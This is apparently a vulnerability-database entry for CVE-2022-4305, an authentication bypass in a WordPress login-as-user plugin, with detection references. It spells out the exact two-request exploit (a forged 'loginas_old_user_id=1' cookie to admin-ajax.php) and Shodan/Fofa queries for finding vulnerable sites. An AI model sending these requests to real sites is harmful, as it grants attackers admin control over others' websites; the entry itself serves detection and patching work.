🔙 목록으로 돌아가기

CVE-2022-4305: Login as User or Customer < 3.3 - Privilege Escalation

TitleLogin as User or Customer < 3.3 - Privilege Escalation
Authorr3Y3r53
SeverityCritical
ImpactUnauthenticated attackers can obtain valid admin sessions by exploiting missing authorization checks in the Login as User or Customer plugin, potentially gaining complete control over the WordPress site and all user accounts.
RemediationFixed in version 3.3
CVSS Score9.8
EPSS Score0.88869
CVE IDCVE-2022-4305
CWE IDCWE-269
Shodan Queryhttp.html:/wp-content/plugins/login-as-customer-or-user
Fofa Querybody=/wp-content/plugins/login-as-customer-or-user
Tags cve cve2022 wpscan wordpress wp-plugin wp login-as-customer-or-user auth-bypass wp-buy vuln

🔍 Vulnerability Description

The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Cookie: loginas_old_user_id=1
Accept-Encoding: gzip
GET /wp-admin/users.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4305.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4305.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A